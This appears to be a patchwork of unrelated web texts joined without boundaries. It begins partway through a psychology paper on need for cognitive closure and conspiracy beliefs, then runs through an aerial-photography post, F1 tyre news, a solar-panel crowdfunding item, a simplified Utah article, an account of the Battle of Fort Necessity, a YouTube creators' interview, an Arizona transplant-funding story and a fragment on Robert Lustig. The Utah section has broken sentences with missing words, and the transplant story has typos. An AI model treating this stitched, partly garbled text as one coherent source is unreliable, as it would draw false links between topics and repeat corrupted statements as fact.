F (7, 445) = 6.16, p < .001, R2 = .09, ΔR2 = .01, p = .03 4 . Further analyses revealed that the interaction effect of need for cognitive closure and certainty research condition was significant for conspiracy‐salience condition, B = −0.42, SE = 0.15, p = .01 (Figure 2), and non‐significant for the control condition, B = 0.03, SE = 0.14, p = .84 (Figure 3). Simple slope analysis indicated that in the conspiracy‐salience research condition, the effect of need for cognitive closure on conspiracy beliefs was positive and marginally significant in the uncertainty condition, B = 0.39, SE = 0.22, p = .08, and negative and significant in the certainty condition, B = −0.44, SE = 0.21, p = .04. Figure 2 Open in figure viewerPowerPoint Interaction effect of need for cognitive closure and certainty (vs. uncertainty) condition on conspiracy beliefs among those in the conspiracy‐salience condition. NFC, need for closure Figure 3 Open in figure viewerPowerPoint Interaction effect of need for cognitive closure and certainty (vs. uncertainty) condition on conspiracy beliefs among those in the control condition. NFC, need for closure Experiment 2 revealed that the relationship between need for cognitive closure and conspiracy beliefs was moderated both by the salience of conspiratorial explanations as well as the certainty about the causes of the event. Among those participants who read the story about an event with well‐known causes (high certainty) accompanied by a conspiratorial explanation, the need for cognitive closure was negatively related to conspiracy beliefs. However, among those participants who read a story about an event with unknown causes (high uncertainty), need for cognitive closure was positively related to conspiracy beliefs when the conspiratorial explanations were made salient (although the latter effect was marginally significant and should be treated with caution). It seems that people high in need for cognitive closure rely on conspiratorial explanations when such explanations refer to uncertain, mysterious events but at the same time are easily accessible. However, salient conspiratorial beliefs that refer to certain events, with well‐known non‐conspiratorial causes, are simply inconsistent with previously gained information. In this case, people high in need for cognitive closure reject them—probably focusing on the official, non‐conspiratorial explanations.
General Discussion In two experiments, we examined the relationship between the epistemic need for cognitive closure and the endorsement of conspiratorial explanations for major events. In both studies, the need for cognitive closure was a robust predictor of adopting conspiratorial explanations for uncertain events but only when such explanations were made salient. In Experiment 1, participants high in need for closure were more likely to endorse a conspiracy theory behind the influx of refugees, but this effect was especially pronounced when a conspiracy theory was suggested to participants. In Experiment 2, participants high in need for cognitive closure were more likely to endorse a conspiracy theory behind a plane crash when this conspiracy was salient. This was only the case when non‐conspiratorial official explanations for the crash were lacking. When other causes for the plane crash were easily available to participants instead, those high in cognitive closure were more likely to reject conspiracy theories. In Experiment 1, the correlation between need for cognitive closure and conspiracy beliefs was significantly positive. On the other hand, in Experiment 2, we found this relationship to be significant only in the case of uncertain situations accompanied by conspiratorial explanations. The current findings shed light on why previous research might have failed to find a link between need for cognitive closure and conspiracy beliefs (Imhoff & Bruder, 2014; Leman & Cinnirella, 2013). It seems that this relationship is more complex and dependent on what sort of explanations are temporarily available to the individual. When the official causes of a particular event are well known and assure closure, those high in need for cognitive closure might not have a reason for entertaining conspiracy theories. In fact, when alternative explanations are available, individuals high in need for cognitive closure are likely to freeze on them and become immune to any contradictory information that cannot be easily assimilated into existing schema (Kruglanski et al., 1996; Roets et al., 2015). Under these circumstances, those with high need for cognitive closure can reject any salient conspiracy theories. Nevertheless, when the situation is complex and uncertain, conspiracy beliefs may serve as a map of meaning for those individuals who are determined to get any answer. Under these circumstances, individuals high in need for cognitive closure are likely to seize on salient conspiratorial explanations. In other words, when facing uncertainty combined with conspiracy‐salience environment, those high in need of cognitive closure rely on the easily accessible schema of a conspiracy theory. We suggest that, in this case, conspiracy theories which represent closed, certain, and structured modes of thinking would serve to provide closure and certainty (Kossowska & Bukowski, 2015). Our results were consistent with this theorizing and demonstrated that those high in need of cognitive closure use the available cues in forming their judgements about major world events. These findings are in line with past research showing that the need for cognitive closure is associated with the endorsement of social and political attitudes that are temporarily or chronically available (e.g., Golec de Zavala et al., 2008; Golec & Federico, 2004; Kossowska & Van Hiel, 2003). The current findings also corroborate and extend previous work on the role of uncertainty in interpreting evidence for conspiracy theories. In a series of studies, Van Prooijen and Jostmann (2013) demonstrated that under conditions of uncertainty (vs. certainty), participants were more likely to use information about the immorality of authorities to form conspiracy theories about their actions. Our studies indicate that this may be the case especially among individuals high in need for cognitive closure, who are more likely to attend to salient cues that help them interpret reality (Kruglanski, 1990; Kruglanski & Webster, 1996). Future research, however, would do well to better establish the causality of the described relationship by manipulating the need for cognitive closure directly. Potentially, fertile ground for future research would be also to investigate if conspiratorial beliefs fully compensate feelings of uncertainty and discourage those high in need for cognitive closure from searching for alternative explanations. Because we manipulated conspiracy‐salience using an alleged internet conversation, our results should be interpreted in terms of susceptibility to endorsing available conspiracy theories rather than in terms of actively generating conspiracy theories. More research is needed to explore whether individuals high, or rather low, in need for cognitive closure would also be prone to engage in generating conspiratorial explanations for major world events. Furthermore, when exploring the relationship between need for cognitive closure and seizing on salient conspiratorial explanations, different mediators should be taken into consideration. For example, the relationships we observed may be at least partially accounted for by right‐wing authoritarianism or outgroup prejudice that are often positively related to the need for cognitive closure (Chirumbolo, 2002; Kossowska & Van Hiel, 2003) and belief in conspiracy theories (Golec de Zavala & Cichocka, 2012; Imhoff & Bruder, 2014). Last but not least, it is important to note that the effects we observed were small. Future research should seek to replicate these findings and investigate their potential moderators and boundary conditions. Overall, the current results help us understand the psychological predispositions that make people prone to endorse conspiracy theories after being briefly exposed to them. We hope that they can inform not only the social psychological study of the conspiracy beliefs but also prove useful for those who seek to decrease the prevalence of potentially harmful conspiracy theories (Douglas, Sutton, Jolley, & Wood, 2015; Jolley & Douglas, 2014).
Acknowledgements The authors declare that there are no potential conflicts of interest with respect to the research, authorship, and/or publication of this article. The preparation of this article was supported by a grant from the National Science Center DEC 2011/02/A/HS6/00155. The authors would like to thank Karen Douglas, Giacomo Marchesi, and the Centre for Social Cognitive Studies for their comments on an earlier draft of this article.
The New York-based photographer says that the ongoing project is meant to show “the patterns, layering and complexity of cities, and the circulation patterns for travel, such as waterways, roads, and airports that grow organically over time much like a living organism.” He tells us,
I have always been fascinated by the view of the ground while flying. It was one of my favorite things about the experience. Going across the country in an airliner I could spend the whole trip looking out the window studying how cites were created and grew and where the roads went and why and how the cities related to the waterways and the airports.
Milstein receives permission for his photographs, and shoots the photographs using a Phase One IQ180 on an Alpa and a Canon 5D DSLR.
You can find the entire series over on Milstein’s website. Also, be sure to check out Milstein’s photographs of airplanes flying overhead, shot from directly below.
Flying by Jeffrey Milstein (via Laughing Squid)
New-for-2016 regulations have seen teams pick from three different compounds nominated by Pirelli this year.
Formula One’s official supplier has selected its harder range - hards, mediums, softs - only five time out of 21 races. Before Interlagos, the orange-marked rubber was used in Spain, Great-Britain, Malaysia, and Japan.
“We’re seeing the hard tyres in Brazil for the first time since 2013, which should prove to be very effective against the high-energy demands of the track,” Pirelli motorsport director Hembery said.
“In 2015 we had a three-stop race, so with the increase in performance and downforce this year, taking a harder tyre – which has nonetheless been a very rare occurrence this season – was the only sensible option to offer a number of different strategy variables.
“Balancing its durability against the extra performance of the softer compounds will hold the key to the race tactics. The weather will obviously play a big part in these calculations too.”
The Brazilian GP tyre allocations show that all the teams have loaded up on the medium and soft tyres though, with many drivers getting a single set of the hards despite it being of the two mandatory tyre sets for the race.
INTERVIEW: Fernando Alonso: Why F1 is no longer just for heroes
F1i Classic: Brazil 1991 - Senna's pain and glory
TECHNICAL ANALYSIS - Mexico
FEATURE: Foul Play or Foul Language
Scene at the 2016 Mexican Grand Prix
Rayton claims their patent-pending solar PV modules can be manufactured in the United States at a cost of 60 percent less than the industry average, which is based on prices from places like China where the majority of solar panels are made.
Related: Cheap Solar PV Powers Substantial Global Renewable Energy Growth in 2013
The Los Angeles-based company currently has an Indiegogo campaign underway that’s seeking funding to help put the final touches on the technology so it can get UL certification and then be launched for sale to the general public. Launched on Dec. 16, the campaign has raised just over $1,000 of its $250,000 goal.
The development of solar PV technologies like this is one of the main factors behind an marked increase in global renewable energy production, which went up by 8.5 percent in 2013.
+ Rayton Solar
Utah is bordered by Idaho and Wyoming in the north and Colorado in the east. It touches a single point of New Mexico to the southeast at Four Corners. Utah is bordered by Arizona in the south, and by Nevada in the west. It covers an area of 84,899 square miles (219,887 km²).
An arch in Arches National Park, Utah
Utah is mostly rocky with three distinct geological regions: the Rocky Mountains, the Great Basin, and the Colorado Plateau. Utah is a great geographical tourism place. Utah is known for its natural diversity and is home to features ranging from arid deserts with sand dunes to thriving pine forests in mountain valleys.
Utah has a dry, semi-arid to climate[8], although its many mountains have large, wide, differences of climates, with the highest points in the Uinta Mountains being above the . The dry weather from the state lying mostly in the rain shadow of the Sierra Nevada in California. The eastern half of the state is in the rain shadow of the Wasatch Mountains. The primary source of rain for the state is the Pacific Ocean, with the state normally lying in the path of large Pacific storms from mid-October through April, although northern Utah often sees these large storms earlier and later. In summer, the state, normally southern and eastern Utah, is in the path of monsoon from the Gulf of California. Most of the lowland areas get less than 12 inches (300 mm) of rain a year. The Great Salt Lake Desert is the driest area of the state, with less than 5 inches (125 mm). Snowfall is common in all but the far southern valleys. Although St. George only gets about 3 inches (7.5 cm) per year, Salt Lake City sees about 60 inches (150 cm), enhanced by the lake-effect snow from the Great Salt Lake, which increases snowfall totals to the south, southeast, and east of the lake. Some areas of the Wasatch Range in the path of the lake-effect get up to 700 inches (1,770 cm) per year. The dry, fluffy, snow led Utah's ski industry to get the slogan "the Greatest Snow on Earth" in the 1980s. In the winter, temperature are a phenomenon across Utah's low basins and valleys, leading to thick humidity and fog that can sometimes last for weeks at a time, normally in the Uintah Basin.
The center of population of Utah is in Salt Lake County in the city of "Salt Lake City".[9] As of July 1, 2008 the Census Bureau believes Utah has a population of 2,736,424.[10] In 2008, the US Census Bureau determined Utah to be the fastest growing state in the country in terms of population growth.[11]
Much of the population lives in cities and towns along the Wasatch Front, a region that runs north-south with the Wasatch Mountains rising on the eastern side. Growth outside the Wasatch Front is also increasing. The St. George metropolitan area is right now the second-fastest growing in the country after the Las Vegas metropolitan area, while the Heber metropolitan area is also the second-fastest growing in the country (right in front of Palm Coast, Florida).
The University of Utah says that the gross state product of Utah in 2005 was $92 billion, or 0.74% of the total United States GDP of $12.4 trillion for the same year. The per capital personal income was $24,977 in 2005. Major companies of Utah are: mining, cattle ranching, salt production, and government services.
In eastern Utah petroleum making is a big industry. Near Salt Lake City, petroleum refining is done by a number of oil companies. In central Utah, coal mining accounts for much of the mining activity.
Age and Gender [ change | change source ]
Utah has a high total birth rate, and the youngest population of any U.S. state. It is also one of the few non-Southern states that has more males than females.
In 2000, the gender percents of Utah were estimated as:
49.9 percent female
50.1 percent male
Most of the state's people are members of "The Church of Jesus Christ of Latter-day Saints", commonly referred to as the Mormons or the LDS Church. As of 2007, 60.7 percent of everyone in the state are members of "The Church of Jesus Christ of Latter-day Saints".[12] Mormons are not as common as they used to be in Salt Lake City. Usually, rural areas are almost all Mormon. Though the LDS Church does not support or oppose any political parties,[13] the church's doctrine has a strong connection with politics. In the past, many of Utah's lawmakers have been church members; the effect has contributed to the state's towards alcohol (sales and content) and gambling. Another effect can be seen in Utah's high birth rate (25 percent higher than the national normal; the highest for a state in the U.S.). The Mormons in Utah normally have conservative views when it comes to most political . Most voter-age Utahns do not belong to a political party (60%), but vote mostly for Republicans. John McCain got 62.5% of the vote in the 2008 Presidential Election while 70.9% of people of Utah chose George W. Bush in 2004.
Popular towns and cities [ change | change source ]
Salt Lake City
Utah's population is concentrated in two areas, the Wasatch Front in the North-Central part of the state, with a population of over 2 million; and southwestern Utah, locally known as "Dixie", with nearly 150,000 people who live there.
According to the 2000 Census, Utah was the fourth fastest growing state (at 29.6 percent) in the United States between 1990 and 2000. St. George, in the southwest, is the second-fastest growing area in the United States, right behind Greeley, Colorado.
The Battle of Fort Necessity (also called the Battle of the Great Meadows) took place on July 3, 1754, in what is now Farmington in Fayette County, Pennsylvania. The engagement, along with the May 28 skirmish known as the Battle of Jumonville Glen, was George Washington's first military experience and the only surrender of his military career.[5] The Battle of Fort Necessity began the French and Indian War, which later spiraled into the global conflict known as the Seven Years' War.
Washington built Fort Necessity on an alpine meadow west of the summit of a pass through the Laurel Highlands of the Allegheny Mountains. Another pass nearby leads to Confluence, Pennsylvania; to the west, Nemacolin's Trail begins its descent to Uniontown, Pennsylvania, and other parts of Fayette County along the relatively low altitudes of the Allegheny Plateau.
Background [ edit ]
The French Empire, despite the fact that they began colonizing North America in the 16th century, only had between 75,000 and 90,000 colonists living in New France in the mid-1700s.[6]:7[7] However, France was able to control the large colonies of New France (modern-day Canada), Acadia, and the Louisiana Territory with relatively few people by controlling waterways (especially the Saint Lawrence River, the Great Lakes, the Ohio River, and the Mississippi River) and cultivating strong political and economic relationships with powerful Native American nations.[8] The Ohio Country, an area located roughly between Lake Erie and the Ohio River, became increasingly important to the French throughout the 18th century. As more settlers moved from Montreal, Quebec, and other established French settlements along the St. Lawrence to the newer Louisiana colony, the Ohio Country became and important connection between the New France and Louisiana. British settlers were also expanding into the Ohio Country at this time. The British colonies were far more populated than the French (there were about 1.5 million British subjects living in North America in 1754, meaning that the British outnumbered the French almost twenty to one), and settlers were eager to move over the Appalachian Mountains and into the Ohio Country and other western lands.[6]:7,11 Most British traders declared that, despite the facts that the French had been trading in the Ohio Country for years and that more and more displaced Native Americans were moving west from the Atlantic coast every year, the Ohio Country was unsettled, uncharted, and therefore unclaimed land that should be open to all traders.[6]:11 The French had no interest in trying to compete with the British for trade in the Ohio Country. Due to their high population and large colonial cities, British traders could offer Native Americans cheaper, higher quality goods than could their French counterparts.[9] The French therefore set about keeping the British as far away from the Ohio company as possible.
Authorities in New France became more aggressive in their efforts to expel British traders and colonists from this area, and in 1753 began construction of a series of fortifications in the area.[10] In previous wars, the Québecois had more than held their own against the English colonials.[11]
The French action drew the attention of not just the British, but also the Indian tribes of the area. Despite good Franco-Indian relations, British traders became successful in convincing the Indians to trade with them in preference to the Canadiens, and the planned large-scale advance was not well received by all.[12] The reason for this was that they had to provide them with the goods that the Anglo-American traders had previously supplied, and at similar prices. This proved to be singularly difficult. With the exception of one or two Montreal merchant traders, the Canadians showed a great reluctance to venture into the Ohio country.[13] In particular, Tanacharison, a Mingo chief also known as the "Half King", became anti-French as a consequence. In a meeting with Paul Marin de la Malgue, commander of the Canadian construction force, the latter reportedly lost his temper, and shouted at the Indian chief, "I tell you, down the river I will go. If the river is blocked up, I have the forces to burst it open and tread under my feet all that oppose me. I despise all the stupid things you have said."[14] He then threw down some wampum that Tanacharison had offered as a good will gesture.[14] Marin died not long after, and command of the operations was turned over to Jacques Legardeur de Saint-Pierre.[15]
Virginians felt that their colonial charter, the oldest in the British colonies, gave them claim to the Ohio Country despite competing claims from Native Americans, the French, and other British colonies. In 1748, wealthy Virginians formed the Ohio Company with the aim of solidifying Virginia's claim and profiting off the speculation of western lands.[6]:11 Governor Robert Dinwiddie, the royal governor of Virginia and founding investor in the Ohio Company, sent a twenty-one year old Virginia colonial Lieutenant Colonel George Washington to travel from Williamsburg to Fort LeBeouf in the Ohio Territory (a territory claimed by several of the British colonies, including Virginia) as an emissary in December 1753, to deliver a letter. George Washington's older brothers Lawrence and Augustine had been instrumental in organizing the Ohio Company, and George had become familiar with the Ohio Company by surveying for his brothers as a young man. After a long trek and several near-death experiences, Washington and his party (which included the Mingo sachem,Tanacharison, and the explorer Christopher Gist) arrived at [[ Fort Le Boeuf]] and met with the regional commander, Jacques Legardeur de Saint-Pierre.[16] Saint-Pierre politely informed Washington that he was there pursuant to orders, and Washington's letter should have been addressed to his commanding officer in Canada.[17]
Washington returned to Williamsburg and informed Governor Dinwiddie that the French refused to leave.[18] Dinwiddie ordered Washington to begin raising a militia regiment to hold the Forks of the Ohio, in present-day Pittsburgh, a site Washington had identified as a fine location for a fortress.[19] However, unlike the French, Washington and his Virginia regiment could not easily reach the Forks via river. The governor therefore also issued a captain's commission to Ohio Company employee William Trent, with instructions to raise a small force capable of moving quickly through the wilderness and virgin forest that lie between Williamsburg and the Forks. Once there, they were to immediately begin construction of a fortification on the Ohio. Dinwiddie issued these instructions on his own authority, without even asking for funding from the Virginia House of Burgesses until after the fact.[20] Trent's company arrived on site in February 1754, and began construction of a storehouse and stockade with the assistance of Tanacharison and the Mingos.[20][21] In response, the Canadians sent a force of about 500 men, Canadian, French, and Indians under Claude-Pierre Pécaudy de Contrecœur (rumors reaching Trent's men put its size at 1,000). On April 16, they arrived at the forks; the next day, Trent's force of 36 men, led by Ensign Edward Ward in Trent's absence, agreed to leave the site.[22] The Canadians tore down the British works, and began construction of the fort they called Fort Duquesne.[23]
Prelude [ edit ]
In March 1754, Governor Dinwiddie sent Washington back to the frontier with orders to "act on the [defensive], but in Case any Attempts are made to obstruct the Works or interrupt our [settlements] by any Persons whatsoever, You are to restrain all such Offenders, & in Case of resistance to make Prisoners of or kill & destroy them". Historian Fred Anderson describes Dinwiddie's instructions, which were issued without the knowledge or direction of the British government in London, as "an invitation to start a war".[24] Washington was ordered to gather as many supplies and paid volunteers as he could along the way. By the time he left for the frontier on April 2, he had gathered 186 men.[25]
Contrecœur operated under orders that forbade attacks by his force unless they were provoked. On May 23, he sent Joseph Coulon de Villiers de Jumonville with 35 men to see if Washington had entered French territory, and with a summons to order Washington's troops to leave; this summons was similar in nature to the one Washington had delivered to them four months previous.[26] Sources disagree on the exact composition of Jumonville's force, which may have included French troupes de la marine, Canadian militia, and Indians.[27][28]
During the march through the forests of the frontier, Washington received a few more men from another regiment that they met at Winchester.[25] At this point Captain Trent arrived with news of the advance of the French force under Jumonville. Trent was accompanied by Tanacharison, who promised warriors to assist the British.[25] To keep Tanacharison's support, Washington decided not to turn back, choosing instead to build a fortification 37 miles (60 km) south of the forks and await further instructions.[29] The men of the Virginia Regiment built a road through the wilderness as they went, "broad enough to pass with all our Artillery and our Baggage."[30] This road was essential, not just to allow Washington and his men to move quickly to Fort Duquesne, but to open up the Ohio country to Virginia troops and settlers in the future. The Washington and the Ohio Company had originally hoped to use the Potomac River to travel between the tidewater and the Ohio country; however, the Great Falls made such a journey impossible until the completion of the Patowmack Canal in 1803.[31]
Jumonville Glen [ edit ]
Washington sent out Captain Hog with 75 men to pursue French troops who had threatened to destroy his house and property.[32] However, shortly after Hog left, Washington called together some young Indians and told them that the French had come to kill Tanacharison, and the Indians also left to pursue the French. That evening, Washington received a message from Tanacharison, who said he had found the French encampment.[33] Washington decided to attack himself and brought 40 soldiers with him towards Tanacharison's camp. That morning, they met with Tanacharison's 12 Indian warriors, and Washington and Tanacharison agreed to attack the encampment.[34] Washington ambushed the French, killing 10 to 12, wounding 2 and capturing 21.[35] Among the dead was Jumonville; the exact manner of his death is uncertain, but by several accounts Tanacharison executed Jumonville in cold blood, crushing his head with a tomahawk and washing his hands in Jumonville's brains.[35] One account, reported by an Indian to Contrecœur, claimed that Jumonville was killed by the Half King while the summons was being read.[36]
Fort Necessity [ edit ]
An engraving depicting the evening council of George Washington at Fort Necessity
After retiring from Jumonville, Washington expected to be attacked.[37] Tanacharison attempted to convince the Lenape, Shawnee and the Mingo Indians to join the Virginians at Great Meadows. With about 150 Virginians at Great Meadows, they began to construct a fort, which Washington named Fort Necessity. The fort was completed on June 3.[37] By June 9, the rest of the Virginia Regiment arrived at Great Meadows, excluding Colonel Joshua Fry, who had fallen from his horse, broken his neck and died.[2] Washington took his place as colonel. A few days later, 100 British regulars under the command of James Mackay arrived, but, instead of making camp with the Virginians, they camped separately outside the fort.[2]
Red Stone Creek [ edit ]
Washington had heard that there were 500 poorly supplied French troops at Fort Duquesne, and thus he led the 300 Virginians out of Great Meadows on June 16 to widen the road, for he had been unable to convince the other chiefs to assist. They had said that they would also be unable to help the Virginians. Although he had lost Indian support, which made his troops more vulnerable to attack, Washington continued to widen the road towards Red Stone Creek.
On June 28, after a council of war, Washington ordered the withdrawal to Great Meadows. That same day 600 French, and 100 Indians left Fort Duquesne led by the slain Jumonville's older brother, Louis Coulon de Villiers. In order to keep ahead of the French/Canadian force, the Virginians had to abandon most of their supplies. On July 1, they reached Fort Necessity.[38]
British preparations [ edit ]
At Fort Necessity, the provision hut was depleted, and there was little shelter from the heavy rain that started to fall on the 2nd.[39] With the rain, the trenches that Washington had ordered to be dug had turned into streams. Washington realized that he would have to defend against a frontal assault and also realized that it would be difficult because the woods were less than 100 yards away, within musket range, making it possible for a besieging attacker to pick off the defenders.[4] To improve the defense, Washington ordered his men to cut trees down and to make them into makeshift breastworks.[4]
As the British worked, Coulon approached Fort Necessity using the road the Virginians had built.[4] He arrived at Jumonville's Glen early on the morning of July 3. Horrified to find several scalped French bodies, he immediately ordered them to be buried.[4]
Battle [ edit ]
French attack [ edit ]
By 11:00 am on the 3rd of July 1754, Louis Coulon de Villiers came within sight of Fort Necessity.[4] At this time, the Virginians were digging a trench in the mud. The pickets fired their muskets and fell back to the fort, whereupon three columns of Canadian soldiers and Indians advanced downhill towards the fort.[4] However, Coulon had miscalculated the location of the fort and had advanced with the fort at his right. As Coulon halted and then redeployed his troops, Washington began to prepare for an attack.[4]
Coulon moved his troops into the woods, within easy musket range of the fort.[4] Washington knew he had to dislodge the Canadians and Indians from that position, so he ordered an assault with his entire force across the open field. Seeing the assault coming, Coulon ordered his soldiers, led by Indians, to charge directly at Washington's line.[40] Washington ordered the men to hold their ground and fire a volley. Mackay's regulars obeyed Washington's command, and supported by two swivel cannons, they inflicted several casualties on the oncoming Indians.[40] The Virginians, however, fled back to the fort, leaving Washington and the British regulars greatly outnumbered. Washington ordered a retreat back to the fort.[40]
Coulon reformed his troops in the woods.[40] The Canadians spread out around the clearing and kept up heavy fire on Fort Necessity. Washington ordered his troops to return fire, but they aimed too high, inflicting few casualties, and the swivel cannon fared no better.[40] To add to the garrison's troubles, heavy rain began to fall that afternoon, and Washington's troops were unable to continue the firefight because their gunpowder was wet.[40]
Negotiations [ edit ]
Louis Coulon de Villiers, who did not know when British reinforcements might arrive, sent an officer under a white flag to negotiate.[41] Washington did not allow the Canadian officer into or near the fort, but sent two of his own men, including his translator Jacob Van Braam, to negotiate. As negotiations began, the Virginians, against Washington's orders, broke into the fort's liquor supply and got drunk.[41] Coulon told Van Braam that all he wanted was the surrender of the garrison, and the Virginians could go back to Virginia. He warned, however, that if they did not surrender now, the Indians might storm the fort and scalp the entire garrison.[41]
Surrender [ edit ]
Van Braam brought this message to Washington, who agreed to these basic terms.[41] One of Louis Coulon de Villiers' aides then wrote down Coulon's surrender terms and then gave them to Van Braam, who in turn gave them to Washington. Washington, who could not read French, had Van Braam translate it for him, and in the document it said that Jumonville had been "assassinated".[41] However, Van Braam may have skipped over this word; otherwise Washington would have likely sent it back to Coulon and asked that the word be removed. Both Washington and Mackay signed the surrender document.[41]
Aftermath [ edit ]
On July 4, Washington and his troops abandoned Fort Necessity.[42] The garrison marched away with drums beating and flags flying, but the Indians and the French began to loot the garrison's baggage on their way out. Washington, who feared a bloodbath, did not try to stop the looting.[42] The Indians continued to steal from the soldiers until July 5. Washington and his troops arrived back in eastern Virginia in mid-July.[43] On the 17th, Washington delivered his report of the battles to Governor Dinwiddie, expecting a rebuke, but Washington instead received a vote of thanks from the House of Burgesses and Dinwiddie blamed the defeat not on Washington but on poor supply and the refusal of aid by the other colonies.[43]
The battlefield is preserved at Fort Necessity National Battlefield, and includes a reconstruction of Fort Necessity.
Political consequences [ edit ]
When news of the two battles reached England in August, the government of the Duke of Newcastle, after several months of negotiations, decided to send an army expedition the following year to dislodge the French.[44] Major General Edward Braddock was chosen to lead the expedition.[45] His expedition ended in disaster, and the French remained in control of Fort Duquesne until 1758, when an expedition under General John Forbes finally succeeded in taking the fort.[46]
Word of the British military plans leaked to France well before Braddock's departure for North America, and King Louis XV dispatched a much larger body of troops to Canada in 1755.[47] Although they arrived too late to participate in Braddock's defeat, the French troop presence led to a string of French victories in the following years. In a second British act of aggression, Admiral Edward Boscawen fired on the French ship Alcide in a naval action on June 8, 1755, capturing her and two troop ships carrying some of those troops.[48] Military matters escalated on both North American soil and sea until France and Britain declared war on each other in spring 1756, marking the formal start of the Seven Years' War.[49]
Notes [ edit ]
References [ edit ]
Anderson, Fred (2000). Crucible of War: The Seven Years' War and the Fate of Empire in British North America, 1754–1766 . New York: Alfred Knopf. ISBN 0-375-40642-5.
Fowler, William M (2005). Empires at war: The French and Indian War and the Struggle for North America 1754–1763 . New York: Walker & Company. ISBN 0-8027-1411-0.
Jennings, Francis (1988). Empire of Fortune: Crowns, Colonies, and Tribes in the Seven Years War in America . New York: Norton. ISBN 0-393-30640-2.
Lengel, Edward (2005). General George Washington . New York: Random House Trade Paperbacks.
O'Meara, Walter (1965). Guns at the Forks . Englewood Cliffs, NJ: Prentice Hall. OCLC 21999143.
Words of wisdom from Brandon: “stay in school, if you get an opportunity make sure it's worth it and always be sure to go back to college as soon as you can.”
How did you get started doing the YouTube Top Plays series?
Brandon: Parv and I were always interested in creating a YouTube channel. We spoke about it on a daily basis for months straight just brainstorming ideas for a YouTube channel. We've always been big gamers and wanted to keep our work League based so we could also enjoy what we're doing. We were speaking of many ideas for a YouTube channel and went from everything such as making it like more of a Yoggscast experience until we came upon the idea of making a Top 5 Plays for League of Legends, as at the time no one else was doing one. The idea kind of stuck with us and just about 2 years later we still love doing it and don't picture stopping anytime soon. :D
What do you guys do for the show?
Brandon: I'm Co-owner of Protatomonster and I do a lot of PR, marketing, and much more, though I don’t do the commentary.
Parv: For the most part Brandon and I split almost everything right down the middle when it comes down responsibilities we have with Protatomonster. We look through clips, record them, and meet before the start of every episode to decide on which plays make the cut. Besides that, I would say we do everything the same except that I commentate and Brandon handles the marketing side of things a little bit more than me.
Do you have a personal favorite type of play to watch?
Brandon: I personally am more interested in the juke plays because they represent my play style, always go for the jukes even if you're risking a bad outcome.
Parv: I would describe my favorite play as something that isn't necessarily a pentakill, but also isn't just a short little outplay. It can be a juke, pentakill, or anything really, but I want to be shocked and say "wow" after I'm done watching it.
How did you get into League of Legends?
Brandon: Parv originally showed me the game and after a week of me making fun of him since it was never my type of a game, I gave it a try and fell in love with it immediately.
How did the name Protatomonster come about? Is there any story behind it?
Parv: I originally had the in game name Protatomonster and we agreed that his name is pretty protateriffic so we ended up sticking with the name.
Do you have plans to expand to anything beyond League top 5 plays?
Parv: As of right now, we have big plans that are in the works that will change eSports for League of Legends and eSports in general, forever. The full details and specifics of the website will be released soon and we anticipate it to have a huge impact on the entire League of Legends community.
How long have you guys been working on this project? Can you give us a little background?
Parv: We've been working on this website for around 4 months now and are currently alpha testing it. We have many plans for it; most importantly we would be bringing players to the site for its launch because the site really strives off of how many players are using it. The main plan is to create a competitive community and bring them to a site to help bring a good time not only in general but even in an eSports view. Our plan is to debut the website in 2 weeks, in early February. The site will be in beta although it will be 100% functional, not all the features will be included yet.
Interesting, I’m looking forward to the project. I know you’ve collaborated with Dunkey in the past; do you have any plans to work together in the future?
Brandon: We have ideas for future work with VideoGameDunkey and we're just waiting a bit longer before we can release any plans we had in mind!
Is there anything you can talk about without breaking an NDA, maybe your opinion on season 3?
Brandon: I think the current changes in League are pretty interesting I’m just hoping for balance changes to bruisers. *cough* WARMOGS *cough*
Do you have any shout outs to make?
Brandon: We would mostly like to thank our main stars for helping Protatomonster get to the current position we're at. Special thanks to: Julio Ramirez (Our first graphic designer) Ian Seddon the main coder behind our new website. Sasha Pogon our current graphic designer. Bruno Koch, the designer for our intro's and outro's VFX, Along with our replay reviewers Austin, Chadley, and Ricardo. Thanks for including us in this interview we really appreciate it, I must go now I hear TCBY has Cake Batter ice-cream and ain't nobody got time to miss that.
Thanks for doing this Interview Brandon and Parv, I look forward to your future content and the launching of your new website!
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PHOENIX (CBS/AP) A second person cut from the transplant list has died in Arizona. The death "most likely" resulted from the state's refusal to pay for certain transplants, a hospital spokeswoman said Wednesday.
"His condition has gotten more severe since he was taken off the list," said University Medical Center spokeswoman Jo Marie Gellerman.
The patient's worsening condition would have elevated his place on the liver donor list, she added. But the point was moot.
The patient could not afford the transplant and Arizona refused to pay for it. Arizona reduced Medicaid coverage for transplants on Oct. 1 under cuts included to help close a shortfall in the state budget enacted last spring.
Gellerman said the patient died Dec. 28. He had hepatitis C. Medical privacy requirements prevented the release of any information about the patient.
This is the second death linked to Arizona's controversial cost cutting. Last November, the Associated Press and others told the story of Mark Price, a Phoenix-area man desperately in need of a bone-marrow transplant. He couldn't afford it and state's Medcaid program wasn't angling to pay for it.
After the press coverage, anonymous donors offered to pay for the transplant, but Price died from complications in preparation for the surgery.
"I don't want to get into any of the politics involved in it, but it backfired because now suddenly it looks as if Arizona is making decisions as to life or death of patients," said Dr. Rainer Gruessner, chair of the University of Arizona Surgery Department
He predicts that nearly 30 Arizonans will die this year because of the state's decision to cut certain transplants.
"Failure to restore this funding is a death sentence for people who have committed no crimes," he said.
The state hopes to save $1.4 million from the transplant cuts. Arizona faces a projected $1.4 billion shortfall in its next state budget.
There is a certain irony here.
During last year's federal battle over President Obama's health care legislation, some Republicans claimed his program promoted "death panels" which they seemed to suggest would involve government bureaucrats deciding who lives and who dies.
The health care bill did include language which paid doctors to offer end-of-life counseling. That was eventually removed.
Facing a tough budget situation, however, Arizona has instituted what critics say is much closer to these so-called "death panels" than anything that ever appeared in the federal government's health care legislation.
"Can this really be happening in the United States?" Forbes columnist Rick Ungar wrote. "I cannot help but be struck by the emptiness of the argument put forth by those who suggest that government need not look out for these people because charitable Americans will always step up and help in these circumstances."
"It's something that probably needs to be discussed," Gov. Brewer said of the difficult choices. "Evey body is concerned about it, as I am. The bottom line is ... that was one of those areas that we could cut and we moved forward on that."
Ninety-seven people remain on Arizona's Medcaire transaplnt list. Their futures are uncertain.
Dr. Robert Lustig, professor of pediatrics at the University of California at San Francisco, is the star of the video above. While he presents some material that’s scientifically sound, he also makes enough errors to warrant a healthy dose of criticism. There’s a ton of material he goes over, so instead of writing a multi-chapter opus, I’ll discuss the aspects that I feel are the most relevant and interesting.
Bravo, Doc
